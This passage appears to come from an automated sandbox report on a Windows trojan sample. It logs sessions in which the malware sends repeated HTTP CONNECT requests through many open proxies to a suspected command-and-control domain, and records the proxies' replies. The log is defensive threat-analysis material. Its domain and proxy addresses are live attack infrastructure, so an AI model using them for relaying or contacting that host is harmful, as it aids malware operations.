535	192.168.2.8	51757	178.54.21.203	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.545386076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.8	51841	41.86.252.91	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.547894955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.8	51348	176.99.2.43	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.565763950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.789560080 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.8	51844	41.86.252.91	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.567190886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.8	51774	184.72.36.89	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.573626041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.735671043 CET	344	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 13:28:25 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.8	51801	23.92.223.122	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.585385084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.8	50063	104.238.111.107	30026	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.604054928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.694919109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695388079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695395947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.788635015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.897828102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.8	51732	125.19.99.90	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.612653017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.8	51835	172.67.250.212	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.626724958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.714457035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.8	50120	189.240.60.166	9090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.695214987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.884908915 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.8	51290	183.215.23.242	9091	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.695512056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.121583939 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 13:28:54 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.8	51355	148.72.215.79	25859	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.695513010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.8	50022	91.134.140.160	8879	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.695796967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.8	51813	72.210.221.197	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.696028948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.8	51313	115.144.163.199	20283	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.704597950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882390976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882782936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.882816076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.8	51758	47.114.101.57	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.709755898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.054568052 CET	334	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.8	51756	60.188.102.225	18080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.725064993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491767883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695493937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992031097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.8	51843	199.188.93.214	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.725872040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.8	51830	196.20.125.133	8083	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.726885080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.8	51845	141.94.174.6	40280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.734935045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.194884062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.695135117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.8	51776	36.111.143.8	15777	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.745754004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.8	49977	220.194.189.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.755014896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.237421036 CET	317	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Fri, 23 Feb 2024 13:51:27 GMT Content-Type: text/html Content-Length: 161 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.8	51780	210.211.113.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.769218922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.8	51420	125.229.149.168	65100	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.773925066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847546101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.898264885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.991869926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.8	51850	162.214.102.195	56755	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.810267925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382345915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882687092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.882605076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.8	51856	84.39.112.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.816266060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.8	51800	221.230.7.39	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.824564934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694859028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.8	51874	104.17.62.87	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.840285063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.928124905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.8	51876	104.18.251.208	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.849980116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.937864065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.8	50250	8.242.176.37	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.850461960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882527113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882781029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.882810116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.8	51496	27.65.30.37	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.850619078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.8	51824	152.32.187.164	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.850691080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.338809013 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.8	51814	43.131.245.216	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.850716114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
